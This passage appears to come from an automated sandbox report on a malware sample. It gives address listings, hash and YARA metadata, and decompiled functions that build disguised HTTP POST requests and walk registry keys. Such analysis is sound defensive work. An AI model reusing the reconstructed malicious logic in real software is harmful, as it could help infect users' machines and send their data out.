                0x0041d553
                0x0041d561
                0x0041d566
                0x0041d578
                0x0041d57d
                0x0041d57f
                0x0041d582
                0x0041d587
                0x00000000
                0x0041d58d
                0x0041d59f
                0x0041d5a5
                0x0041d5aa
                0x0041d5ac
                0x0041d5b1
                0x0041d5ce
                0x0041d5d3
                0x0041d5d8
                0x0041d682
                0x0041d684
                0x00000000
                0x0041d693
                0x0041d5de
                0x0041d5e1
                0x0041d5e6
                0x0041d69a
                0x0041d6a3
                0x0041d6a9
                0x0041d6ac
                0x0041d5ec
                0x0041d5f2
                0x0041d5f8
                0x0041d5ff
                0x0041d605
                0x0041d608
                0x0041d608
                0x0041d60b
                0x0041d613
                0x0041d624
                0x0041d629
                0x0041d629
                0x0041d640
                0x0041d645
                0x0041d64a
                0x0041d676
                0x0041d679
                0x0041d67c
                0x00000000
                0x0041d64d
                0x0041d64d
                0x0041d64d
                0x0041d652
                0x00000000
                0x00000000
                0x0041d654
                0x0041d66a
                0x0041d66f
                0x0041d674
                0x00000000
                0x00000000
                0x00000000
                0x0041d674
                0x00000000
                0x0041d64d
                0x0041d64a
                0x0041d5c3
                0x0041d5c3
                0x0041d587

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: Expl$GET$Windows Expl$Windows Expl$rer
                • API String ID: 0-314038199
                • Opcode ID: e64705be6e8b5438e2fa3000c31b6894b3413a6a9157f5657021c5df93b5f670
                • Instruction ID: aea90e5262f91fd55b2c62ea140450ca2c0ddc53a5494808c6c13655c775375e
                • Opcode Fuzzy Hash: e64705be6e8b5438e2fa3000c31b6894b3413a6a9157f5657021c5df93b5f670
                • Instruction Fuzzy Hash: 8951B9B1A00209BBEB20DF55CC42FFF77A8EF44714F044159FD186B285E778AA858B94
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 92%
                			E00413E7D(void* __ebx, void* __fp0, intOrPtr _a4, intOrPtr _a8) {
                				short _v8;
                				intOrPtr _v12;
                				intOrPtr _v16;
                				intOrPtr _v20;
                				char _v24;
                				char _v78;
                				short _v80;
                				intOrPtr _v84;
                				char _v88;
                				char _v151;
                				char _v152;
                				char _v215;
                				char _v216;
                				signed int _t47;
                				intOrPtr _t56;
                				intOrPtr _t61;
                				intOrPtr _t62;
                				intOrPtr _t63;
                				intOrPtr _t92;
                				signed int _t93;
                				intOrPtr* _t94;
                
                				_t47 = E0041FE7D(__ebx, __fp0, 0xadedab08);
                				_t92 = _a4;
                				_t93 = _t47;
                				 *(_t92 + 0xa14) = _t93;
                				_v88 = 0x410050;
                				_v84 = 0x480054;
                				_v80 = 0;
                				E004206CD( &_v78, 0, 0x36);
                				_v24 = 0x690046;
                				_v20 = 0x650072;
                				_v16 = 0x6f0066;
                				_v12 = 0x5c0078;
                				_v8 = 0;
                				if(_t93 != 0) {
                					 *(_t92 + 0xa14) =  *(_t92 + 4) ^ _t93;
                					 *((intOrPtr*)(_t92 + 0xa04)) = E004207FD(_t92, 0x1000);
                					_t94 = E004207FD(_t92, 0x7374);
                					__eflags = _t94;
                					if(_t94 == 0) {
                						goto L1;
                					} else {
                						__eflags =  *((intOrPtr*)(_t92 + 0xa04));
                						if( *((intOrPtr*)(_t92 + 0xa04)) == 0) {
                							goto L1;
                						} else {
                							_push(__ebx);
                							_v152 = 0;
                							E004206CD( &_v151, 0, 0x3f);
                							E004212AD( &_v152, 0);
                							_t56 = _t92 + 0x1c;
                							_push( &_v152);
                							_push(_t56);
                							_t21 = _t94 + 0xc; // 0xc
                							L004100ED();
                							_push( *_t94);
                							 *_t21 = _t56;
                							E0041CFAD(_t92, _t21);
                							__eflags =  *((intOrPtr*)(_t94 + 0x10));
                							if( *((intOrPtr*)(_t94 + 0x10)) == 0) {
                								L20:
                								__eflags = 0;
                								return 0;
                							} else {
                								__eflags =  *((intOrPtr*)(_t94 + 0x14));
                								if( *((intOrPtr*)(_t94 + 0x14)) == 0) {
                									goto L20;
                								} else {
                									__eflags =  *((intOrPtr*)(_t94 + 0x18));
                									if( *((intOrPtr*)(_t94 + 0x18)) == 0) {
                										goto L20;
                									} else {
                										__eflags =  *((intOrPtr*)(_t94 + 0x1c));
                										if( *((intOrPtr*)(_t94 + 0x1c)) == 0) {
                											goto L20;
                										} else {
                											__eflags =  *((intOrPtr*)(_t94 + 0x20));
                											if( *((intOrPtr*)(_t94 + 0x20)) == 0) {
                												goto L20;
                											} else {
                												__eflags =  *((intOrPtr*)(_t94 + 0x24));
                												if( *((intOrPtr*)(_t94 + 0x24)) == 0) {
                													goto L20;
                												} else {
                													__eflags =  *((intOrPtr*)(_t94 + 0x28));
                													if( *((intOrPtr*)(_t94 + 0x28)) == 0) {
                														goto L20;
                													} else {
                														__eflags =  *((intOrPtr*)(_t94 + 0x2c));
                														if( *((intOrPtr*)(_t94 + 0x2c)) == 0) {
                															goto L20;
                														} else {
                															__eflags =  *((intOrPtr*)(_t94 + 0x30));
                															if( *((intOrPtr*)(_t94 + 0x30)) == 0) {
                																goto L20;
                															} else {
                																__eflags =  *((intOrPtr*)(_t94 + 0x34));
                																if( *((intOrPtr*)(_t94 + 0x34)) == 0) {
                																	goto L20;
                																} else {
                																	_v216 = 0;
                																	E004206CD( &_v215, 0, 0x3f);
                																	_t61 = E004212AD( &_v216, 6);
                																	_push( &_v216);
                																	_t77 = _t92 + 0x1c;
                																	_push(_t92 + 0x1c);
                																	L004100ED();
                																	__eflags = _t61;
                																	if(_t61 == 0) {
                																		goto L20;
                																	} else {
                																		_t62 = E0041A3FD(__fp0, _t77, _t61, 0, 0, 0x2430512b);
                																		 *((intOrPtr*)(_t94 + 0x44)) = _t62;
                																		__eflags = _t62;
                																		if(_t62 == 0) {
                																			goto L20;
                																		} else {
                																			_t63 = _a8;
                																			__eflags = _t63;
                																			if(_t63 == 0) {
                																				 *((intOrPtr*)(_t94 + 4)) = 0x20;
                																			} else {
                																				 *((intOrPtr*)(_t94 + 4)) = _t63;
                																			}
                																			_t42 = _t94 + 0x48; // 0x48
                																			 *_t94 = 0x32;
                																			E0042064D(_t42,  &_v88, 8);
                																			__eflags = E0042093D(_t92 + 0x4064) + _t66;
                																			E0042064D(_t92 + 0x8f0, _t92 + 0x4064, E0042093D(_t92 + 0x4064) + _t66);
                																			E00414CED(__eflags, _t92,  &_v24, _t94);
                																			E0042062D(_t92, _t94);
                																			E0042062D(_t92,  *((intOrPtr*)(_t92 + 0xa04)));
                																			return 1;
                																		}
                																	}
                																}
                															}
                														}
                													}
                												}
                											}
                										}
                									}
                								}
                							}
                						}
                					}
                				} else {
                					L1:
                					return 0;
                				}
                			}
























                0x00413e8d
                0x00413e92
                0x00413e9d
                0x00413ea0
                0x00413ea6
                0x00413ead
                0x00413eb4
                0x00413eb8
                0x00413ec2
                0x00413ec9
                0x00413ed0
                0x00413ed7
                0x00413ede
                0x00413ee4
                0x00413ef9
                0x00413f0a
                0x00413f15
                0x00413f1a
                0x00413f1c
                0x00000000
                0x00413f1e
                0x00413f1e
                0x00413f25
                0x00000000
                0x00413f27
                0x00413f27
                0x00413f33
                0x00413f3a
                0x00413f48
                0x00413f53
                0x00413f56
                0x00413f57
                0x00413f58
                0x00413f5b
                0x00413f62
                0x00413f65
                0x00413f67
                0x00413f6f
                0x00413f73
                0x0041409f
                0x004140a1
                0x004140a7
                0x00413f79
                0x00413f79
                0x00413f7d
                0x00000000
                0x00413f83
                0x00413f83
                0x00413f87
                0x00000000
                0x00413f8d
                0x00413f8d
                0x00413f91
                0x00000000
                0x00413f97
                0x00413f97
                0x00413f9b
                0x00000000
                0x00413fa1
                0x00413fa1
                0x00413fa5
                0x00000000
                0x00413fab
                0x00413fab
                0x00413faf
                0x00000000
                0x00413fb5
                0x00413fb5
                0x00413fb9
                0x00000000
                0x00413fbf
                0x00413fbf
                0x00413fc3
                0x00000000
                0x00413fc9
                0x00413fc9
                0x00413fcd
                0x00000000
                0x00413fd3
                0x00413fde
                0x00413fe5
                0x00413ff3
                0x00413ffe
                0x00413fff
                0x00414002
                0x00414003
                0x0041400b
                0x0041400d
                0x00000000
                0x00414013
                0x0041401e
                0x00414026
                0x00414029
                0x0041402b
                0x00000000
                0x0041402d
                0x0041402d
                0x00414030
                0x00414032
                0x00414039
                0x00414034
                0x00414034
                0x00414034
                0x00414046
                0x0041404a
                0x00414050
                0x00414061
                0x0041406c
                0x00414077
                0x0041407e
                0x0041408b
                0x0041409e
                0x0041409e
                0x0041402b
                0x0041400d
                0x00413fcd
                0x00413fc3
                0x00413fb9
                0x00413faf
                0x00413fa5
                0x00413f9b
                0x00413f91
                0x00413f87
                0x00413f7d
                0x00413f73
                0x00413f25
                0x00413ee7
                0x00413ee7
                0x00413eed
                0x00413eed

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: F$T$f$r$x
                • API String ID: 0-3162215961
                • Opcode ID: ac95f8e1d54b827ea388374ee8f009b86774863d360a8aeb976c7562d5d3290b
                • Instruction ID: cd9ef7798e1dccd430bd8ff13941467dd1b2065131a807f3472cb0a24b56b6f3
                • Opcode Fuzzy Hash: ac95f8e1d54b827ea388374ee8f009b86774863d360a8aeb976c7562d5d3290b
                • Instruction Fuzzy Hash: F651D571A00314AED730DFA6DC45BEBB7F8EF44304F00455FA61966182D7B9AA84CBA5
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 100%
                			E0041D6BD(intOrPtr _a4, char _a8, intOrPtr* _a12, char _a20, intOrPtr _a24) {
                				char _v5;
                				short _v7;
                				char _v11;
                				char _v12;
                				char _v16;
                				char _v17;
                				short _v19;
                				char _v23;
                				char _v27;
                				char _v31;
                				intOrPtr _v35;
                				char _v36;
                				intOrPtr _v40;
                				intOrPtr _v44;
                				char _v48;
                				char _v52;
                				char _v56;
                				char _v60;
                				char _v64;
                				char _v68;
                				char _v195;
                				char _v196;
                				intOrPtr* _t53;
                				char _t57;
                				char _t59;
                				intOrPtr _t60;
                				char _t62;
                				intOrPtr _t67;
                				intOrPtr _t83;
                				intOrPtr _t84;
                				void* _t85;
                				void* _t86;
                
                				_v56 = 0;
                				_v52 = 0;
                				_v12 = 0;
                				_v11 = 0;
                				_v7 = 0;
                				_v5 = 0;
                				_v36 = 0x6f;
                				_v31 = 0;
                				_v27 = 0;
                				_v23 = 0;
                				_v19 = 0;
                				_v17 = 0x6f;
                				_v196 = 0;
                				_v60 = 0x2a2f2a;
                				_v16 = 0x54534f50;
                				_v48 = 0x646e6957;
                				_v44 = 0x2073776f;
                				_v40 = 0x6c707845;
                				_v35 = 0x726572;
                				E004206CD( &_v195, 0, 0x7f);
                				_t21 =  &_a8; // 0x54534f50
                				_t84 =  *_t21;
                				_t83 =  *((intOrPtr*)(_a4 + 0x7d8));
                				_t86 = _t85 + 0xc;
                				if( *((intOrPtr*)(_t84 + 0x954)) != 0) {
                					L2:
                					_t53 = _a12;
                					if( *_t53 != 0) {
                						while( *_t53 != 0xa0d0a0d) {
                							_t53 = _t53 + 1;
                							if( *_t53 != 0) {
                								continue;
                							} else {
                							}
                							goto L8;
                						}
                						 *_t53 = 0;
                						_t53 = _t53 + 4;
                					}
                					L8:
                					_a4 = _t53;
                					E0042064D( &_v196, _t83 + 0x3019dc, 0x2f);
                					_t33 =  &_v60; // 0x2a2f2a
                					_v68 = _t33;
                					_v64 = 0;
                					_t57 = E0041F1FD(_t84,  *((intOrPtr*)(_t84 + 0x954)), _a20, 0x50, 0, 0, 3, 0, 1);
                					_t69 = _t57;
                					if(_t57 == 0) {
                						L15:
                						return _t57;
                					}
                					_t38 =  &_v16; // 0x54534f50
                					_t59 = E0041F27D(_t84, _t69, _t38, _t83 + 0x30199c, 0, 0,  &_v68, 0, 1);
                					_a8 = _t59;
                					if(_t59 != 0) {
                						_t60 = E0042091D(_a4);
                						_t62 = E0042091D( &_v196);
                						_t43 =  &_a8; // 0x54534f50
                						if(E0041F2FD(_t84,  *_t43,  &_v196, _t62, _a4, _t60) > 0 && _a24 != 0) {
                							 *((intOrPtr*)(_t83 + 0x2050)) = 1;
                						}
                						_t47 =  &_a8; // 0x54534f50
                						E0041F3DD(_t84,  *_t47);
                						_t57 = E0041F3DD(_t84, _t69);
                						goto L15;
                					}
                					return E0041F3DD(_t84, _t69);
                				} else {
                					_t25 =  &_v48; // 0x646e6957
                					_t67 = E0041F18D(_t84, _t25, 0, 0, 0, 0);
                					_t86 = _t86 + 0x18;
                					 *((intOrPtr*)(_t84 + 0x954)) = _t67;
                					if(_t67 == 0) {
                						return _t67;
                					} else {
                						goto L2;
                					}
                				}
                			}



































                0x0041d6c9
                0x0041d6cc
                0x0041d6cf
                0x0041d6d2
                0x0041d6d5
                0x0041d6d9
                0x0041d6df
                0x0041d6e7
                0x0041d6ea
                0x0041d6ed
                0x0041d6f0
                0x0041d6f4
                0x0041d6f7
                0x0041d704
                0x0041d70b
                0x0041d712
                0x0041d719
                0x0041d720
                0x0041d727
                0x0041d72e
                0x0041d733
                0x0041d733
                0x0041d739
                0x0041d73f
                0x0041d749
                0x0041d76e
                0x0041d76e
                0x0041d774
                0x0041d77d
                0x0041d785
                0x0041d789
                0x00000000
                0x00000000
                0x0041d78b
                0x00000000
                0x0041d789
                0x0041d78d
                0x0041d793
                0x0041d793
                0x0041d796
                0x0041d797
                0x0041d7aa
                0x0041d7c6
                0x0041d7ca
                0x0041d7cd
                0x0041d7d4
                0x0041d7d9
                0x0041d7e0
                0x0041d87c
                0x00000000
                0x0041d87c
                0x0041d7f9
                0x0041d7ff
                0x0041d807
                0x0041d80c
                0x0041d823
                0x0041d837
                0x0041d840
                0x0041d856
                0x0041d85e
                0x0041d85e
                0x0041d868
                0x0041d86d
                0x0041d874
                0x00000000
                0x0041d879
                0x0041d81e
                0x0041d74b
                0x0041d753
                0x0041d758
                0x0041d75d
                0x0041d760
                0x0041d768
                0x0041d882
                0x00000000
                0x00000000
                0x00000000
                0x0041d768

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: */*$POST$POST$Windows Expl$rer
                • API String ID: 0-1278404498
                • Opcode ID: c5b2d9fc1904e13f6ed0fffd4b121bb924201d2dd4123768b50abf4f4cd94817
                • Instruction ID: 8d0e0f284e5f88875a10f5a8d9bb7071a0e57680d20bc257e0a55839c27df7d9
                • Opcode Fuzzy Hash: c5b2d9fc1904e13f6ed0fffd4b121bb924201d2dd4123768b50abf4f4cd94817
                • Instruction Fuzzy Hash: 2D5196B1D01209BEEB11DFA5DC41BEE77B8AF04314F00416AF918A7281E7745A95CBA5
                Uniqueness

                Uniqueness Score: -1.00%

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: Us$: $er-A$gent$urlmon.dll
                • API String ID: 0-1367105278
                • Opcode ID: addbc34bcd856f8fd1e8571c8dfd0ba02d0e076de81df323d2e9931ff35a1f35
                • Instruction ID: 27202d8f59bcf168eb22ef2ea3f100cf04cee5395692de624e8cf7789c9e2417
                • Opcode Fuzzy Hash: addbc34bcd856f8fd1e8571c8dfd0ba02d0e076de81df323d2e9931ff35a1f35
                • Instruction Fuzzy Hash: 1B1190B1E01219AADB10DF95DC02FEFBBB8EB45704F00005AFC04BB241D3785A418BE6
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 28%
                			E00444081(void* __ebx, void* __ecx, void* __edi, void* __esi) {
                				void* _v3;
                				intOrPtr _v8;
                				intOrPtr _v12;
                				void* _v28;
                				char _v32;
                				void* _t12;
                				intOrPtr* _t13;
                				void* _t14;
                				intOrPtr* _t23;
                				intOrPtr* _t24;
                				intOrPtr _t28;
                				intOrPtr _t30;
                
                				_push(0x401676);
                				_push( *[fs:0x0]);
                				 *[fs:0x0] = _t28;
                				_v12 = _t28 - 0x20;
                				_v8 = 0x401660;
                				_t30 =  *0x445380; // 0x4be8cc
                				_v28 = 0;
                				_v32 = 0;
                				if(_t30 == 0) {
                					_push(0x445380);
                					_push(0x43b86c);
                					L00401838();
                				}
                				_t23 =  *0x445380; // 0x4be8cc
                				_t12 =  *((intOrPtr*)( *_t23 + 0x14))(_t23,  &_v28);
                				asm("fclex");
                				if(_t12 < 0) {
                					_push(0x14);
                					_push(0x43b85c);
                					_push(_t23);
                					_push(_t12);
                					L00401832();
                				}
                				_t13 = _v28;
                				0x53289680();
                				_t24 = _t13;
                				_t14 =  *((intOrPtr*)( *_t13 + 0xc8))(_t13);
                				asm("fclex");
                				if(_t14 < 0) {
                					_push(0xc8);
                					_push(0x43b87c);
                					_push(_t24);
                					_push(_t14);
                					L00401832();
                				}
                				L0040182C();
                				_push(0x44412e);
                				return _t14;
                			}















                0x00444086
                0x00444091
                0x00444092
                0x0044409f
                0x004440a2
                0x004440ab
                0x004440b1
                0x004440b4
                0x004440b7
                0x004440b9
                0x004440be
                0x004440c3
                0x004440c3
                0x004440c8
                0x004440d5
                0x004440da
                0x004440dc
                0x004440de
                0x004440e0
                0x004440e5
                0x004440e6
                0x004440e7
                0x004440e7
                0x004440ec
                0x004440ee
                0x004440f6
                0x004440f8
                0x00444100
                0x00444102
                0x00444104
                0x00444109
                0x0044410e
                0x0044410f
                0x00444110
                0x00444110
                0x00444118
                0x0044411d
                0x00000000

                APIs
                • __vbaNew2.MSVBVM60(0043B86C,00445380), ref: 004440C3
                • __vbaHresultCheckObj.MSVBVM60(00000000,004BE8CC,0043B85C,00000014), ref: 004440E7
                • __vbaHresultCheckObj.MSVBVM60(00000000,00000000,0043B87C,000000C8), ref: 00444110
                • __vbaFreeObj.MSVBVM60(00000000,00000000,0043B87C,000000C8), ref: 00444118
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID: __vba$CheckHresult$FreeNew2
                • String ID:
                • API String ID: 4261391273-0
                • Opcode ID: 08a64d34b5671c084f9eff5796d42148e329e5390822b75834a24df55fb776b8
                • Instruction ID: a92cba94469e0f30c874ffbe7547aebc2010071dbbd766d12f67d9992201a38c
                • Opcode Fuzzy Hash: 08a64d34b5671c084f9eff5796d42148e329e5390822b75834a24df55fb776b8
                • Instruction Fuzzy Hash: D8110670940604BFEB14EB55CC4BFAFBBACEB54744F50412AF200B31E1C3B858018BA8
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 82%
                			E0041930D(void* __edi, void* __eflags, char _a4) {
                				char _v8;
                				short _v10;
                				short _v14;
                				short _v18;
                				short _v22;
                				short _v26;
                				short _v28;
                				intOrPtr _v32;
                				intOrPtr _v36;
                				char _v40;
                				char _v1062;
                				char _v1064;
                				char _v1582;
                				char _v1584;
                				void* __esi;
                				void* __ebp;
                				void* _t80;
                				short _t88;
                				short _t93;
                				short _t95;
                				short _t99;
                				short _t104;
                				short _t108;
                				short _t112;
                				short _t113;
                				short _t116;
                				signed int _t146;
                				void* _t147;
                				signed int _t148;
                				intOrPtr _t152;
                				void* _t153;
                				void* _t154;
                				void* _t155;
                				void* _t159;
                				void* _t160;
                				void* _t161;
                				void* _t162;
                				void* _t164;
                
                				_t116 = 0;
                				_v1064 = 0;
                				E004206CD( &_v1062, 0, 0x3fe);
                				_v1584 = 0;
                				E004206CD( &_v1582, 0, 0x206);
                				_t5 =  &_a4; // 0x41332e
                				_t152 =  *_t5;
                				_push(1);
                				_push(0xd);
                				_push( &_v1064);
                				_push(_t152);
                				L0041043D( &_v1064, 0, __edi, _t152);
                				 *((short*)(_t153 + E0042093D( &_v1064) * 2 - 0x424)) = 0x5c;
                				_t80 = E004118ED(_t152, _t153 + E0042093D( &_v1064) * 2 - 0x424);
                				_t155 = _t154 + 0x38;
                				if(_t80 != 0) {
                					_push(__edi);
                					_push(1);
                					_push(0xf);
                					_push(_t153 + E0042093D( &_v1064) * 2 - 0x424);
                					_push(_t152);
                					L0041043D( &_v1064, _t153 + E0042093D( &_v1064) * 2 - 0x424, __edi, _t152);
                					_push(1);
                					_push(0x11);
                					_push(_t153 + E0042093D( &_v1064) * 2 - 0x442);
                					_push(_t152);
                					L0041043D(_t153 + E0042093D( &_v1064) * 2 - 0x442, _t153 + E0042093D( &_v1064) * 2 - 0x424, __edi, _t152);
                					_t135 =  &_v1064;
                					_t146 = E0042093D( &_v1064);
                					_t122 =  &_v8;
                					_t88 = E004119AD(__eflags, _t152,  &_v8,  &_v1064, 0x20219);
                					_t159 = _t155 + 0x3c;
                					__eflags = _t88;
                					if(_t88 == 0) {
                						L5:
                						_t147 = _t153 + _t146 * 2 - 0x4b2;
                						E0042067D(_t147, 0x8e);
                						_push(1);
                						_push(0x10);
                						_push(_t147);
                						_push(_t152);
                						L0041043D(_t122, _t135, _t147, _t152);
                						_t148 = E0042093D( &_v1064);
                						_t93 = E004119AD(__eflags, _t152,  &_v8,  &_v1064, 0x20219);
                						_t160 = _t159 + 0x2c;
                						__eflags = _t93;
                						if(__eflags == 0) {
                							L9:
                							 *((short*)(_t153 + _t148 * 2 - 0x424)) = 0;
                							 *((short*)(_t153 + _t148 * 2 - 0x45e)) = 0x36;
                							_t95 = E004119AD(__eflags, _t152,  &_v8,  &_v1064, 0x20219);
                							_t161 = _t160 + 0x10;
                							__eflags = _t95;
                							if(_t95 == 0) {
                								L13:
                								 *((short*)(_t153 + _t148 * 2 - 0x426)) = 0;
                								_v26 = 0;
                								_v22 = 0;
                								_v18 = 0;
                								_v14 = 0;
                								_v10 = 0;
                								_v40 = 0x32005f;
                								_v36 = 0x310030;
                								_v32 = 0x5c0036;
                								_v28 = 0;
                								E00420AAD( &_v1064,  &_v40, 0);
                								_t99 = E004119AD(__eflags, _t152,  &_v8,  &_v1064, 0x20219);
                								_t162 = _t161 + 0x1c;
                								__eflags = _t99;
                								if(_t99 == 0) {
                									L18:
                									return 1;
                								} else {
                									__eflags = _t116;
                									if(_t116 != 0) {
                										L17:
                										__eflags = _t148 + 5;
                										E0041905D(_t152,  &_v1064, _v8,  &_v1584, _t148 + 5);
                										goto L18;
                									} else {
                										_t104 = E00418C6D(_t152,  &_v1584, 0x256);
                										_t162 = _t162 + 0xc;
                										__eflags = _t104;
                										if(_t104 != 0) {
                											goto L17;
                										} else {
                											goto L16;
                										}
                									}
                								}
                							} else {
                								__eflags = _t116;
                								if(_t116 != 0) {
                									L12:
                									_t116 = 1;
                									E0041905D(_t152,  &_v1064, _v8,  &_v1584, _t148);
                									_t161 = _t161 + 0x14;
                									goto L13;
                								} else {
                									_t108 = E00418C6D(_t152,  &_v1584, 0x256);
                									_t161 = _t161 + 0xc;
                									__eflags = _t108;
                									if(_t108 == 0) {
                										goto L16;
                									} else {
                										goto L12;
                									}
                								}
                							}
                						} else {
                							__eflags = _t116;
                							if(_t116 != 0) {
                								L8:
                								_t116 = 1;
                								E0041905D(_t152,  &_v1064, _v8,  &_v1584, _t148);
                								_t160 = _t160 + 0x14;
                								goto L9;
                							} else {
                								_t112 = E00418C6D(_t152,  &_v1584, 0x256);
                								_t160 = _t160 + 0xc;
                								__eflags = _t112;
                								if(_t112 == 0) {
                									goto L16;
                								} else {
                									goto L8;
                								}
                							}
                						}
                					} else {
                						_t113 = E00418C6D(_t152,  &_v1584, 0x256);
                						_t164 = _t159 + 0xc;
                						__eflags = _t113;
                						if(_t113 == 0) {
                							L16:
                							__eflags = 0;
                							return 0;
                						} else {
                							_t122 = _v8;
                							_t135 =  &_v1064;
                							_t116 = 1;
                							E0041905D(_t152,  &_v1064, _v8,  &_v1584, _t146);
                							_t159 = _t164 + 0x14;
                							goto L5;
                						}
                					}
                				} else {
                					return _t80;
                				}
                			}









































                0x00419327
                0x00419329
                0x00419330
                0x00419344
                0x0041934b
                0x00419350
                0x00419350
                0x00419353
                0x00419355
                0x0041935d
                0x0041935e
                0x0041935f
                0x0041937c
                0x00419392
                0x00419397
                0x0041939c
                0x004193a4
                0x004193a5
                0x004193ad
                0x004193bf
                0x004193c0
                0x004193c1
                0x004193c9
                0x004193d1
                0x004193e3
                0x004193e4
                0x004193e5
                0x004193ea
                0x004193f6
                0x00419404
                0x00419409
                0x0041940e
                0x00419411
                0x00419413
                0x00419453
                0x00419453
                0x00419460
                0x00419465
                0x00419467
                0x00419469
                0x0041946a
                0x0041946b
                0x0041948d
                0x0041948f
                0x00419494
                0x00419497
                0x00419499
                0x004194dd
                0x004194ea
                0x004194fd
                0x00419505
                0x0041950a
                0x0041950d
                0x0041950f
                0x00419553
                0x0041955b
                0x00419563
                0x00419566
                0x00419569
                0x0041956c
                0x0041956f
                0x0041957b
                0x00419582
                0x00419589
                0x00419590
                0x00419594
                0x004195aa
                0x004195af
                0x004195b2
                0x004195b4
                0x004195fb
                0x00419606
                0x004195b6
                0x004195b6
                0x004195b8
                0x004195dc
                0x004195df
                0x004195f3
                0x00000000
                0x004195ba
                0x004195c7
                0x004195cc
                0x004195cf
                0x004195d1
                0x00000000
                0x00000000
                0x00000000
                0x00000000
                0x004195d1
                0x004195b8
                0x00419511
                0x00419511
                0x00419513
                0x00419532
                0x00419546
                0x0041954b
                0x00419550
                0x00000000
                0x00419515
                0x00419522
                0x00419527
                0x0041952a
                0x0041952c
                0x00000000
                0x00000000
                0x00000000
                0x00000000
                0x0041952c
                0x00419513
                0x0041949b
                0x0041949b
                0x0041949d
                0x004194bc
                0x004194d0
                0x004194d5
                0x004194da
                0x00000000
                0x0041949f
                0x004194ac
                0x004194b1
                0x004194b4
                0x004194b6
                0x00000000
                0x00000000
                0x00000000
                0x00000000
                0x004194b6
                0x0041949d
                0x00419415
                0x00419422
                0x00419427
                0x0041942a
                0x0041942c
                0x004195d3
                0x004195d5
                0x004195db
                0x00419432
                0x00419432
                0x0041943e
                0x00419446
                0x0041944b
                0x00419450
                0x00000000
                0x00419450
                0x0041942c
                0x004193a3
                0x004193a3
                0x004193a3

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: .3A$0$6$_
                • API String ID: 0-2106758370
                • Opcode ID: 188113213ab56c83b338cde201bda568033b2c0d88e132d466a0df742481fe57
                • Instruction ID: c0f97dceb3ad0535d48db95c3d0f6757cb67a08abc8ef0fea114d80ffdaed35d
                • Opcode Fuzzy Hash: 188113213ab56c83b338cde201bda568033b2c0d88e132d466a0df742481fe57
                • Instruction Fuzzy Hash: 758167F2A001187ADB10EB95DD41FEF72FDDF88304F4041AAFA0996142E6759F84CBA9
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 99%
                			E0041557D(intOrPtr _a8, char _a12) {
                				char* _v8;
                				char _v9;
                				short _v11;
                				char _v15;
                				char _v16;
                				intOrPtr _v20;
                				char _v24;
                				char _v25;
                				short _v27;
                				char _v31;
                				char _v32;
                				intOrPtr _v36;
                				char _v40;
                				intOrPtr _v44;
                				char _v171;
                				signed int _v172;
                				char _v299;
                				char _v300;
                				char _v427;
                				char _v428;
                				char _v555;
                				char _v556;
                				char _v683;
                				char _v684;
                				char _v811;
                				signed char _v812;
                				void* _t80;
                				void* _t81;
                				void* _t88;
                				signed char _t97;
                				char _t98;
                				void* _t100;
                				void* _t101;
                				void* _t104;
                				signed char _t107;
                				signed int _t108;
                				signed char _t109;
                				signed char _t110;
                				void* _t111;
                				intOrPtr _t112;
                				signed char _t117;
                				signed char _t128;
                				char _t129;
                				void* _t130;
                				intOrPtr _t132;
                				void* _t133;
                				char* _t135;
                				signed char _t144;
                				char* _t146;
                				char* _t148;
                				void* _t149;
                				void* _t150;
                				void* _t151;
                				void* _t152;
                				void* _t153;
                				void* _t155;
                				void* _t156;
                				void* _t157;
                				void* _t158;
                				void* _t159;
                				void* _t160;
                				void* _t161;
                				void* _t162;
                
                				_t148 = 0;
                				_v8 = 0;
                				_v172 = 0;
                				E004206CD( &_v171, 0, 0x7f);
